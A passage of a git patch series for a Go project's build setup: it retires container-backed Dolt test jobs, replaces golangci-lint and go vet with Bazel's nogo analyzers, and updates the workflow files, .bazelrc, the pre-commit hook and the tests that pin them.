strings.Contains(line, "cache_test_results") && line != bazelFreshRCLine { + t.Errorf(".bazelrc %q: only test:fresh sets test result caching", line) } if strings.HasPrefix(line, "test:embedded ") && (strings.Contains(line, "-test.short") || strings.Contains(line, "BEADS_TEST_SKIP")) { t.Errorf(".bazelrc %q: the embedded jobs run without -short and BEADS_TEST_SKIP", line) diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index e280fb1fc..dc6148611 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -14,21 +14,19 @@ import ( // D2 step 3: pr.yml's own legacy jobs whose Bazel lanes run in the same // pr.yml run stand down on the PRs bazel-coverage covers (pr_lanes): -// build-artifacts, PR Core, the pure-Go/js-wasm check, domain+uow and -// contract corpus, for Bazel / test, pure-Go and js/wasm and dolt-server -// lane. ci-gate then requires those lanes to have run remotely and passed +// build-artifacts, PR Core and the pure-Go/js-wasm check, for Bazel / test +// and pure-Go and js/wasm. ci-gate then requires those lanes, and the +// dolt-server lane (the only run of the Dolt-backed domain, uow, tracker, +// doctor/fix and protocol suites), to have run remotely and passed // (BAZEL_PR_LANES_RETIRED, simulated with the other tiers in // TestPRRiskDecisionMatchesBazelMode). Everything the retired jobs did // besides those tests keeps running on every PR: the package gates take the -// Bazel-built bd, the Dolt server fingerprint runs on the dolt-server lane -// (its local half) and in test-domain-uow (its container half, where -// containers are used), and scripts-go-checks runs go test's vet checks. +// Bazel-built bd, the Dolt server fingerprint runs on the dolt-server lane, +// and scripts-go-checks runs go test's vet checks. const ( // The legacy jobs' if: not covered. prLaneLegacyIf = "needs." + prRiskCoverageJobName + ".outputs.pr_lanes != 'true'" - prFingerprintJob = "test-domain-uow" - prFingerprintStep = "Test Dolt server fingerprint (container + local)" prScriptsChecksJob = "scripts-go-checks" prScriptsChecksID = "SCRIPTS_GO_CHECKS" // bazel.yml's lanes for the step add --config=sole-run whenever they @@ -51,9 +49,7 @@ var prPackageGateIDs = map[string]string{"package-mcp": "PACKAGE_MCP", "package- var prLaneLegacyNeeds = map[string][]string{ "build-artifacts": {prRiskCoverageJobName}, "check-cmd-bd-puregeo-tests": {prRiskCoverageJobName}, - "contract-corpus": {prRiskCoverageJobName}, "pr-core-wrapper": {"build-artifacts", prRiskCoverageJobName}, - "test-domain-uow": {"build-artifacts", prRiskCoverageJobName}, } // .bazelrc's lines for the configs step 3's lanes run, exactly: the @@ -67,7 +63,7 @@ var bazelPRLaneRCLines = map[string][]string{ "test:prcore --test_arg=-test.skip=^TestEmbedded", "test:prcore --test_env=BEADS_TEST_SKIP=dolt", "test:prcore --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1", - "test:prcore --test_tag_filters=-requires-docker,-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual,-integration-only", + "test:prcore --test_tag_filters=-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual,-integration-only", }, "ci": { "test:ci --config=prcore", @@ -138,8 +134,8 @@ echo "pure cmd/bd subset: $n test cases" "bazel test //... --config=doltserver": `set -o pipefail start=$(date +%s) rc=0 -bazel test //... "--config=$BAZEL_DOLT_LANE" ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? -echo "bazel test --config=$BAZEL_DOLT_LANE: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" +bazel test //... --config=doltserver ${BAZEL_SOLE_RUN:+"$BAZEL_SOLE_RUN"} ${BAZEL_FRESH:+"$BAZEL_FRESH"} 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? +echo "bazel test --config=doltserver: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc"`, }, } @@ -546,30 +542,19 @@ func testPackageGateJobs(t *testing.T, prGateRequired []string) { } } -// The Dolt server fingerprint is checked once per backend, where that backend -// runs: the local server (the pinned dolt CLI every Bazel dolt-server lane -// starts) by //internal/testutil:testutil_dolt_test on the dolt-server lane, -// whatever the mode (the retired every-PR job, "Test (Dolt server -// fingerprint)", pulled a docker image the workers do not have); the -// container by test-domain-uow, the container-backed job that runs only -// where bazel-coverage does not cover pr_lanes, as its first test step. No -// other pr.yml job runs it, and ci-gate has no separate fingerprint result. -func TestDoltServerFingerprintRunsWhereEachBackendRuns(t *testing.T) { +// The Dolt server fingerprint runs in CI on the local backend only: the +// pinned dolt CLI every Bazel dolt-server lane starts, checked by +// //internal/testutil:testutil_dolt_test on the dolt-server lane whatever the +// mode. No CI job runs the Dolt-backed suites against the container backend +// any more, so none runs its container half (plain `go test` does, wherever +// docker and the image are present), and no pr.yml job runs the fingerprint +// or reports a separate fingerprint result. +func TestDoltServerFingerprintRunsOnTheDoltServerLane(t *testing.T) { pr := readCIWorkflow(t, "pr.yml") - job := pr.job(t, prFingerprintJob) - if job.If != prLaneLegacyIf { - t.Errorf("%s if %q, want %q (the container-backed tests run only there)", prFingerprintJob, job.If, prLaneLegacyIf) - } - step := job.step(t, prFingerprintStep) - if step.If != "" || step.ContinueOnError != nil { - t.Errorf("%s step %q: if %q, continue-on-error %v", prFingerprintJob, prFingerprintStep, step.If, step.ContinueOnError) - } - assertStepsBefore(t, job, []string{"Install Dolt CLI", "Pull Dolt sql-server image"}, []string{prFingerprintStep}) - assertStepsBefore(t, job, []string{prFingerprintStep}, []string{"Test domain + uow + tracker"}) for name, j := range pr.Jobs { for _, s := range j.Steps { - if strings.Contains(s.Run, "TestDoltServerFingerprint") && (name != prFingerprintJob || s.Name != prFingerprintStep) { - t.Errorf("%s step %q runs the fingerprint; only %s's %q does", name, s.Name, prFingerprintJob, prFingerprintStep) + if strings.Contains(s.Run, "TestDoltServerFingerprint") { + t.Errorf("%s step %q runs the fingerprint; //internal/testutil:testutil_dolt_test does", name, s.Name) } } } diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 200dfc7d8..0157ad143 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -88,8 +88,6 @@ var retiredTiers = []retiredTier{ "build-artifacts": "BUILD_ARTIFACTS", "pr-core-wrapper": "PR_CORE_WRAPPER", "check-cmd-bd-puregeo-tests": "CHECK_CMD_BD_PUREGEO_TESTS", - "test-domain-uow": "TEST_DOMAIN_UOW", - "contract-corpus": "CONTRACT_CORPUS", }, bazelLanes: []string{bazelJobName, bazelPureJobName, bazelDoltJobName}, }, @@ -1962,7 +1960,7 @@ var bazelDoltServerRCLines = map[string][]string{ // D2 step 2, as review F2/F4 for embedded: the proxied and server lanes run // exactly `bazel test //... --config=` (plus nightly's BAZEL_FRESH) // with a BEP and nothing else, their configs are exactly the pinned lines, -// and only test:docker and test:fresh set result caching. +// and only test:fresh sets result caching. func TestBazelRetiredLanesArePinned(t *testing.T) { workflow := readCIWorkflow(t, bazelWorkflowName) for lane, config := range bazelRetiredLaneConfigs { @@ -2010,13 +2008,13 @@ func TestBazelRetiredLanesArePinned(t *testing.T) { } } // A later --cache_test_results (any config the lanes use) would win. - // Only the docker lane and nightly's --config=fresh (appended only when - // the caller asks, ci_merge_queue_test.go) turn result caching off. - allowed := map[string]bool{"test:docker --nocache_test_results": true, bazelFreshRCLine: true} + // Only nightly's --config=fresh (appended only when the caller asks, + // ci_merge_queue_test.go) turns result caching off. + allowed := map[string]bool{bazelFreshRCLine: true} for _, line := range strings.Split(rc, "\n") { line = strings.TrimSpace(line) if !strings.HasPrefix(line, "#") && strings.Contains(line, "cache_test_results") && !allowed[line] { - t.Errorf(".bazelrc %q: only test:docker and test:fresh set test result caching", line) + t.Errorf(".bazelrc %q: only test:fresh sets test result caching", line) } } } diff --git a/scripts/pull_dolt_image_test.go b/scripts/pull_dolt_image_test.go index 477d68f44..b4d1f1a92 100644 --- a/scripts/pull_dolt_image_test.go +++ b/scripts/pull_dolt_image_test.go @@ -53,23 +53,14 @@ func TestPullDoltImageRetriesTransientFailures(t *testing.T) { } func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { + // Only pr-risk.yml's legacy container-backed tiers pull the image; every + // pr.yml and bazel.yml Dolt suite runs on hermetic dolt sql-servers + // (the dolt-server lanes) and needs no docker. wantCalls := map[string]int{ - "pr.yml": 2, // test-domain-uow, contract-corpus "pr-risk.yml": 3, } workflowsDir := filepath.Join(sourceRepoRoot(t), ".github", "workflows") - for name, want := range wantCalls { - data, err := os.ReadFile(filepath.Join(workflowsDir, name)) - if err != nil { - t.Fatal(err) - } - text := string(data) - if got := strings.Count(text, "run: ./scripts/ci/pull-dolt-image.sh"); got != want { - t.Errorf("%s retry-helper calls = %d, want %d", name, got, want) - } - } - workflowPaths, err := filepath.Glob(filepath.Join(workflowsDir, "*.y*ml")) if err != nil { t.Fatal(err) @@ -79,8 +70,13 @@ func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { if err != nil { t.Fatal(err) } - if strings.Contains(string(data), "docker pull "+doltSQLServerImage) { - t.Errorf("%s still pulls the Dolt image without retries", filepath.Base(path)) + text := string(data) + name := filepath.Base(path) + if got, want := strings.Count(text, "run: ./scripts/ci/pull-dolt-image.sh"), wantCalls[name]; got != want { + t.Errorf("%s retry-helper calls = %d, want %d", name, got, want) + } + if strings.Contains(text, "docker pull "+doltSQLServerImage) { + t.Errorf("%s still pulls the Dolt image without retries", name) } } } diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index 79fdab72a..2c8fa7459 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -14,7 +14,7 @@ _DOLT_PLATFORMS_ONLY = select({ }) # sh_test src for a second test target over an existing go_test binary (see -# the script header), e.g. //cmd/bd/doctor/fix:fix_docker_test. +# the script header), e.g. //cmd/bd/doctor/fix:fix_dolt_test. exports_files( ["go_test_variant.sh"], visibility = ["//visibility:public"], diff --git a/tools/bazel/equivalence.py b/tools/bazel/equivalence.py index 256c7c248..f45998fde 100644 --- a/tools/bazel/equivalence.py +++ b/tools/bazel/equivalence.py @@ -32,7 +32,7 @@ Two checks always run, a third when `go test -json` output is supplied: Job mode (--job, with --go-test-json): the go test JSON is the whole expected set instead of `go list ./...`. Use it to prove that a Bazel selection (one or -more --bep runs, e.g. --config=ci plus --config=docker) replaces one specific +more --bep runs, e.g. --config=ci plus --config=doltserver) replaces one specific CI job: every top-level test the job's command ran must have run under Bazel, Bazel must run no other test in those packages (TestEmbedded* included: job mode has no implicit ^TestEmbedded skip, so it can check the embedded tier), and no test the job passed may diff --git a/tools/bazel/race.bzl b/tools/bazel/race.bzl index 570efcb3d..27296f6ee 100644 --- a/tools/bazel/race.bzl +++ b/tools/bazel/race.bzl @@ -1,11 +1,11 @@ """go_test_race_off: an existing go_test built without the race detector. -The docker lane (--config=docker) sets --@rules_go//go/config:race for every -target, because pr.yml's container jobs run `go test -race`, except the -Contract corpus job, which does not. A go_test_variant.sh sh_test over this -rule's output runs such a package the way that job does, without a second -go_test rule (whose srcs gazelle would not maintain). The go_test keeps its own -`race = "auto"` and so follows the setting this transition gives it. +The dolt-server lane (--config=doltserver) sets --@rules_go//go/config:race +for every target, because the container jobs it replaced ran `go test -race`, +except the Contract corpus job, which did not. A go_test_variant.sh sh_test +over this rule's output runs such a package the way that job did, without a +second go_test rule (whose srcs gazelle would not maintain). The go_test keeps +its own `race = "auto"` and so follows the setting this transition gives it. """ _RACE = "@rules_go//go/config:race" From a4509deb2ddd33a5029c304bcf92dcaadfea7ea1 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 05:17:22 +0000 Subject: [PATCH 033/213] ci(bazel): nogo replaces go vet and golangci-lint (ga-96smfk.18) (#7341) * ci(bazel): nogo replaces go vet and golangci-lint (ga-96smfk.18) Lint and vet now run as nogo inside the Bazel build, so they gate wherever the Bazel lanes execute (rbe-west), and the golangci-lint and go vet jobs leave pr.yml and main.yml. - //tools/nogo (own go.mod, joined to beads' for go_deps only through gazelle.go.work): go test's vet checks (cmd/go's defaultVetFlags, the set scripts/ci/go-test-vet.sh ran) plus the eight linters .golangci.yml enables, each a wrapper over the library version golangci-lint v2.10.1 uses (depguard, errcheck, forbidigo, gosec, misspell, sloglint, unconvert, unparam). - .golangci.yml stays the single lint policy: Bazel embeds it and tools/nogo/internal/golangci applies it as golangci-lint does (enabled set, settings, run.tests: false as library-unit-only analysis, lax generated-file detection, path/path-except/text exclusion rules), with strict decoding so an unimplemented key fails the build. - gascity's rules_go //nolint-range patch and x/tools ctrlflow patch, byte-identical. - Windows/darwin: cross-configured, not a golangci leg. The pure lane's release cross-compile (//tools/bazel:release_cross, every library and binary for all eight release platforms, cgo off) runs nogo on every compile, a superset of golangci-lint's windows and darwin legs. scripts/pr-lint (make ci-pr-lint, bd preflight) runs `bazel build --config=nogo //...` plus release_cross for windows_amd64,darwin_arm64. release_cross skips tools/nogo, a separate Go module `go build ./...` never compiled. - pr.yml: scripts-go-checks (vet) and pr-lint-wrapper (x3) are gone, with their ci-gate entries; main.yml: pr-lint-wrapper (x6) and go-vet-cache. scripts/ci/go-test-vet.sh and install-golangci-lint.sh are deleted. - pre-commit hook and .pre-commit-config.yaml run `make lint-changed LINT_CHANGED_SCOPE=staged` (nogo over the staged packages); Makefile adds lint, vet and lint-changed. pr-lint.sh no longer runs gofmt (//scripts/repochecks:fmt_test owns it; ga-96smfk.41). - internal/testutil/integration: five gosec findings in integration-tagged library files golangci-lint never built, now linted by the integration lanes, carry reasoned //nolint directives. Parity: with the exclusion rules removed, golangci-lint and nogo report the same 3,916 findings natively and 3,859 each for windows and darwin (file, line, linter, text); with .golangci.yml as committed both report none. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): equivalence.py leaves nested Go modules' tests out of go test's set tools/nogo is its own Go module, so `go test ./...` in the root never runs its tests; Bazel's unit lane does. Its packages are neither expected nor extra. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 19 + .githooks/pre-commit | 34 +- .github/workflows/bazel.yml | 5 +- .github/workflows/ci-measurements.yml | 7 - .github/workflows/main.yml | 164 +--- .github/workflows/pr.yml | 126 +-- .golangci.yml | 6 + .pre-commit-config.yaml | 14 +- AGENTS.md | 2 +- BUILD.bazel | 22 +- CONTRIBUTING.md | 28 +- MODULE.bazel | 38 +- MODULE.bazel.lock | 11 - Makefile | 45 +- cmd/bd/preflight.go | 7 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 18 +- engdocs/DOC_INVENTORY.md | 2 +- engdocs/LINTING.md | 159 ++-- gazelle.go.work | 11 + internal/testutil/integration/diagnostics.go | 4 +- internal/testutil/integration/harness.go | 6 +- scripts/BUILD.bazel | 1 + scripts/README.md | 10 +- scripts/check_doc_freshness_test.go | 2 +- scripts/ci/bazel-release-cross-compile.sh | 8 +- scripts/ci/go-test-vet.sh | 24 - scripts/ci/install-golangci-lint.sh | 97 --- scripts/ci/pr-lint.sh | 37 +- scripts/ci_f7b_review_test.go | 15 +- scripts/ci_workflow_test.go | 413 +--------- scripts/embedded_shard_count_test.go | 2 +- scripts/nogo_lint_policy_test.go | 109 +++ scripts/pr-lint/BUILD.bazel | 2 - scripts/pr-lint/main.go | 409 +++------- scripts/pr-lint/main_test.go | 731 +++--------------- scripts/pr_lanes_bazel_coverage_test.go | 125 ++- scripts/pr_risk_bazel_coverage_test.go | 2 +- scripts/prlintmake/prlintmake_test.go | 42 +- third_party/patches/BUILD.bazel | 6 + .../rules_go_nogo_golangci_nolint.patch | 100 +++ .../x_tools_ctrlflow_stdlib_noreturn.patch | 34 + tools/bazel/equivalence.py | 12 + tools/bazel/go_srcs.py | 14 +- tools/nogo/BUILD.bazel | 66 ++ tools/nogo/analyzers.bzl | 47 ++ tools/nogo/analyzers/depguard/BUILD.bazel | 44 ++ tools/nogo/analyzers/depguard/depguard.go | 110 +++ .../nogo/analyzers/depguard/depguard_test.go | 48 ++ tools/nogo/analyzers/errcheck/BUILD.bazel | 46 ++ tools/nogo/analyzers/errcheck/errcheck.go | 75 ++ .../nogo/analyzers/errcheck/errcheck_test.go | 35 + tools/nogo/analyzers/forbidigo/BUILD.bazel | 45 ++ tools/nogo/analyzers/forbidigo/forbidigo.go | 77 ++ .../analyzers/forbidigo/forbidigo_test.go | 37 + tools/nogo/analyzers/gosec/BUILD.bazel | 49 ++ tools/nogo/analyzers/gosec/gosec.go | 113 +++ tools/nogo/analyzers/gosec/gosec_test.go | 25 + tools/nogo/analyzers/misspell/BUILD.bazel | 44 ++ tools/nogo/analyzers/misspell/misspell.go | 110 +++ .../nogo/analyzers/misspell/misspell_test.go | 35 + tools/nogo/analyzers/sloglint/BUILD.bazel | 46 ++ tools/nogo/analyzers/sloglint/sloglint.go | 67 ++ .../nogo/analyzers/sloglint/sloglint_test.go | 26 + tools/nogo/analyzers/unconvert/BUILD.bazel | 45 ++ tools/nogo/analyzers/unconvert/unconvert.go | 42 + .../analyzers/unconvert/unconvert_test.go | 15 + tools/nogo/analyzers/unparam/BUILD.bazel | 46 ++ tools/nogo/analyzers/unparam/unparam.go | 47 ++ tools/nogo/analyzers/unparam/unparam_test.go | 46 ++ tools/nogo/analyzers_test.go | 104 +++ tools/nogo/config.json | 10 + tools/nogo/go.mod | 26 + tools/nogo/go.sum | 60 ++ tools/nogo/internal/analyzertest/BUILD.bazel | 35 + .../internal/analyzertest/analyzertest.go | 151 ++++ tools/nogo/internal/golangci/BUILD.bazel | 57 ++ tools/nogo/internal/golangci/config.go | 307 ++++++++ tools/nogo/internal/golangci/wrap.go | 143 ++++ tools/nogo/internal/golangci/wrap_test.go | 150 ++++ tools/nogo/internal/position/BUILD.bazel | 31 + tools/nogo/internal/position/position.go | 39 + tools/nogo/modules_test.go | 49 ++ 82 files changed, 3418 insertions(+), 2053 deletions(-) create mode 100644 gazelle.go.work delete mode 100755 scripts/ci/go-test-vet.sh delete mode 100755 scripts/ci/install-golangci-lint.sh create mode 100644 scripts/nogo_lint_policy_test.go create mode 100644 third_party/patches/rules_go_nogo_golangci_nolint.patch create mode 100644 third_party/patches/x_tools_ctrlflow_stdlib_noreturn.patch create mode 100644 tools/nogo/BUILD.bazel create mode 100644 tools/nogo/analyzers.bzl create mode 100644 tools/nogo/analyzers/depguard/BUILD.bazel create mode 100644 tools/nogo/analyzers/depguard/depguard.go create mode 100644 tools/nogo/analyzers/depguard/depguard_test.go create mode 100644 tools/nogo/analyzers/errcheck/BUILD.bazel create mode 100644 tools/nogo/analyzers/errcheck/errcheck.go create mode 100644 tools/nogo/analyzers/errcheck/errcheck_test.go create mode 100644 tools/nogo/analyzers/forbidigo/BUILD.bazel create mode 100644 tools/nogo/analyzers/forbidigo/forbidigo.go create mode 100644 tools/nogo/analyzers/forbidigo/forbidigo_test.go create mode 100644 tools/nogo/analyzers/gosec/BUILD.bazel create mode 100644 tools/nogo/analyzers/gosec/gosec.go create mode 100644 tools/nogo/analyzers/gosec/gosec_test.go create mode 100644 tools/nogo/analyzers/misspell/BUILD.bazel create mode 100644 tools/nogo/analyzers/misspell/misspell.go create mode 100644 tools/nogo/analyzers/misspell/misspell_test.go create mode 100644 tools/nogo/analyzers/sloglint/BUILD.bazel create mode 100644 tools/nogo/analyzers/sloglint/sloglint.go create mode 100644 tools/nogo/analyzers/sloglint/sloglint_test.go create mode 100644 tools/nogo/analyzers/unconvert/BUILD.bazel create mode 100644 tools/nogo/analyzers/unconvert/unconvert.go create mode 100644 tools/nogo/analyzers/unconvert/unconvert_test.go create mode 100644 tools/nogo/analyzers/unparam/BUILD.bazel create mode 100644 tools/nogo/analyzers/unparam/unparam.go create mode 100644 tools/nogo/analyzers/unparam/unparam_test.go create mode 100644 tools/nogo/analyzers_test.go create mode 100644 tools/nogo/config.json create mode 100644 tools/nogo/go.mod create mode 100644 tools/nogo/go.sum create mode 100644 tools/nogo/internal/analyzertest/BUILD.bazel create mode 100644 tools/nogo/internal/analyzertest/analyzertest.go create mode 100644 tools/nogo/internal/golangci/BUILD.bazel create mode 100644 tools/nogo/internal/golangci/config.go create mode 100644 tools/nogo/internal/golangci/wrap.go create mode 100644 tools/nogo/internal/golangci/wrap_test.go create mode 100644 tools/nogo/internal/position/BUILD.bazel create mode 100644 tools/nogo/internal/position/position.go create mode 100644 tools/nogo/modules_test.go diff --git a/.bazelrc b/.bazelrc index dcd27c345..4de47b6c1 100644 --- a/.bazelrc +++ b/.bazelrc @@ -287,6 +287,25 @@ build:js-wasm --platforms=@rules_go//go/toolchain:js_wasm build:js-wasm --use_target_platform_for_tests build:js-wasm --remote_download_outputs=toplevel +# nogo (//tools/nogo: go test's vet checks plus the golangci-lint linters +# .golangci.yml enables) runs beside every Go compile of every lane, so any +# `bazel build`/`bazel test` fails on a finding. --config=nogo asks for the +# analysis alone (the nogo_fix output group; nothing is linked), in the race +# configuration bazel.yml's unit lane (test:ci) builds, so a local run reuses +# CI's remote cache. make lint, scripts/pr-lint and the pre-commit hook use it. +build:nogo --@rules_go//go/config:race +build:nogo --keep_going +build:nogo --output_groups=nogo_fix +# The same analyzers over the files only other platforms compile +# (//go:build windows, darwin, !linux ...): scripts/pr-lint builds +# //tools/bazel:release_cross, every go_library and go_binary split-transitioned +# to rules_go's non-cgo platforms, for its windows/amd64 and darwin/arm64 +# passes (golangci-lint's former GOOS=windows/darwin legs). bazel.yml's pure +# lane builds the same target for every release platform, which validates +# nogo there too. +build:nogo-cross --keep_going +build:nogo-cross --output_groups=nogo_fix + # D2 step 3: bazel.yml's bazel-test, bazel-pure and bazel-doltserver lanes # add this in the remote modes, where (on same-repo PRs and merge groups) # they are the only pre-merge run of pr.yml's legacy PR Core, diff --git a/.githooks/pre-commit b/.githooks/pre-commit index b082d26f7..8e4a17732 100755 --- a/.githooks/pre-commit +++ b/.githooks/pre-commit @@ -1,5 +1,5 @@ #!/usr/bin/env bash -# Pre-commit hook: auto-format with gofmt and lint with golangci-lint. +# Pre-commit hook: auto-format with gofmt, then lint and vet with nogo. # Installed via: git config core.hooksPath .githooks # See also: make install (sets hooksPath automatically) @@ -9,24 +9,6 @@ set -euo pipefail # the beads section at the bottom must run for non-Go commits too. staged_go_files=$(git diff --cached --name-only --diff-filter=ACM -- '*.go') if [ -n "$staged_go_files" ]; then - # Build golangci-lint from source so it is never a stale global binary, and - # pin the version to the one CI uses (.github/workflows/{pr,main}.yml). - GOLANGCI_LINT="go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.10.1" - - # Build it with the repo's own Go, the way CI does. In CI, actions/setup-go - # installs the go.mod version and exports GOTOOLCHAIN=local. Locally - # GOTOOLCHAIN defaults to "auto", and for a pkg@version build that honours - # golangci-lint's own toolchain directive instead: it downgrades to - # go1.25.12, which then refuses this repo's newer go directive at config - # load ("the Go language version (go1.25) used to build golangci-lint is - # lower than the targeted Go version") and fails every Go commit. Pinning to - # the go directive reproduces CI's resolution on any host toolchain. - go_toolchain="go$(awk '$1 == "go" { print $2; exit }' go.mod)" - if [ "$go_toolchain" = "go" ]; then - echo >&2 "pre-commit: no go directive in go.mod; cannot pin the lint toolchain" - exit 1 - fi - # Auto-format and re-stage, through the go.mod-pinned gofmt. A bare PATH # gofmt belongs to the host toolchain, and on a host newer than the go # directive it rewrites and re-stages files into a form CI's gofmt rejects @@ -35,13 +17,13 @@ if [ -n "$staged_go_files" ]; then echo "$staged_go_files" | xargs "$gofmt_bin" -w echo "$staged_go_files" | xargs git add - # Lint changed code with auto-fix; block on remaining issues. - # CGO_ENABLED=0 avoids typecheck failures from CGO-only dependencies - # (e.g., dolthub/go-icu-regex) that require system headers not always present. - CGO_ENABLED=0 GOTOOLCHAIN="$go_toolchain" $GOLANGCI_LINT run --new-from-rev=HEAD --fix || exit 1 - - # Re-stage any auto-fixes from the linter - echo "$staged_go_files" | xargs git add + # Lint and vet: nogo (//tools/nogo) over the staged files' Bazel packages, + # the analyzers bazel.yml gates on (go test's vet checks plus the + # golangci-lint linters .golangci.yml enables). Findings fail the commit; + # nogo prints a `patch -p1` command for the ones with suggested fixes. + # Needs bazel (or bazelisk) on PATH; the windows/darwin passes run in CI + # and in `make lint`. + make lint-changed LINT_CHANGED_SCOPE=staged || exit 1 fi # --- BEGIN BEADS INTEGRATION v1.3.0 --- diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index df5f61c5e..4b74bd4a0 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1047,7 +1047,10 @@ jobs: # a platform-gating mistake is caught here instead of at tag time # (#5662): the whole tree, cgo off, one remote `bazel build # --platforms=...` per target (the script's header has the coverage - # boundary: the cgo release builds are not compiled here). + # boundary: the cgo release builds are not compiled here). nogo + # (//tools/nogo) validates every one of those compiles, so this is also + # the lint and vet gate for files only other platforms build + # (//go:build windows, darwin, !linux ...; engdocs/LINTING.md). - name: Cross-compile every release target (--config=release-cross) run: | set -euo pipefail diff --git a/.github/workflows/ci-measurements.yml b/.github/workflows/ci-measurements.yml index 0bfdca1dd..e2278bd22 100644 --- a/.github/workflows/ci-measurements.yml +++ b/.github/workflows/ci-measurements.yml @@ -83,19 +83,12 @@ jobs: source ./.buildflags ci_time "install gotestsum" -- go install gotest.tools/gotestsum@v1.13.0 - ci_time "install golangci-lint" -- ./scripts/ci/install-golangci-lint.sh - # install-golangci-lint.sh appends to $GITHUB_PATH, which GitHub - # Actions only applies to *later steps*, not later commands in this - # same run block. Export it here too so the "pr-lint wrapper" call - # below finds golangci-lint on PATH. - export PATH="$RUNNER_TEMP/golangci-lint:$PATH" status=0 ci_time "pr-policy wrapper" -- make ci-pr-policy || status=$? # -timeout=30m keeps this in step with the lane it measures # (scripts/ci/pr-core.sh). Without it ./cmd/bd can die on `go test`'s # 10m default and the measurement reports a panic instead of a duration. ci_time "pr-core gotestsum" -- gotestsum --junitfile artifacts/pr-core-junit.xml --format testdox -- -race -short -timeout=30m -skip '^TestEmbedded' ./... || status=$? - ci_time "pr-lint wrapper" -- make ci-pr-lint || status=$? exit "$status" - name: Upload measurement artifacts diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index cdb8c2751..8300b9502 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -455,90 +455,6 @@ jobs: - name: Run PR policy wrapper run: make ci-pr-policy - # F7b: pr.yml's pr-lint-wrapper moved to same-repo Blacksmith - # (blacksmith-4vcpu-ubuntu-2404) for same-repo PRs/merge_group, falling back - # to ubuntu-latest for forks/Dependabot. golangci-lint's own cache and this - # leg's lint GOCACHE are both scoped to the runner infrastructure (not just - # the key), so this push-lane saver needs to seed both runner selections — - # the `venue` matrix dimension crossed with the existing `target` dimension - # (6 legs on push) — the same reason windows-test-binaries-cache above seeds - # both `runner: [blacksmith, github]` legs. The ternary form (rather than a - # literal Blacksmith label in a matrix array) is required for actionlint, - # same as every other Blacksmith `runs-on` in this repo. - # F7b review fix (B2): job-level push-to-main-only guard, same rationale as - # blacksmith-go-build-cache above -- applied to the whole job (not just the - # Blacksmith leg) for simplicity, since the github venue leg is also only - # meant to run from main.yml's push trigger. Pinned by - # TestBlacksmithSaverJobsGuardedAgainstPullRequest. - pr-lint-wrapper: - name: PR Lint (${{ matrix.target }}) - runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' - timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - target: [native, windows, darwin] - venue: [blacksmith, github] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Install golangci-lint - run: ./scripts/ci/install-golangci-lint.sh - - # This push lane is the only saver (§0, F5.2): keyed on file content and - # the leg; a miss on the exact content key falls back to the leg's most - # recent entry, which golangci-lint revalidates against the current - # config and inputs. pr.yml only ever restores. The key omits the sha - # (SF-4) so a save only happens when .golangci.yml or go.sum change, - # not on every push to main. - - name: Restore golangci-lint cache - id: restore-golangci-lint-cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/.cache/golangci-lint - ${{ matrix.target == 'native' && format('{0}/go-cache/lint-{1}', runner.temp, matrix.target) || '' }} - key: beads-golangci-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-v2.10.1-${{ matrix.target }}-${{ hashFiles('.golangci.yml', 'go.sum') }} - restore-keys: beads-golangci-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-v2.10.1-${{ matrix.target }}- - - # No BD_LINT_NEW_FROM_MERGE_BASE here: the push lane sweeps the whole - # tree, including the GOOS=windows and GOOS=darwin cross-lints. pr.yml 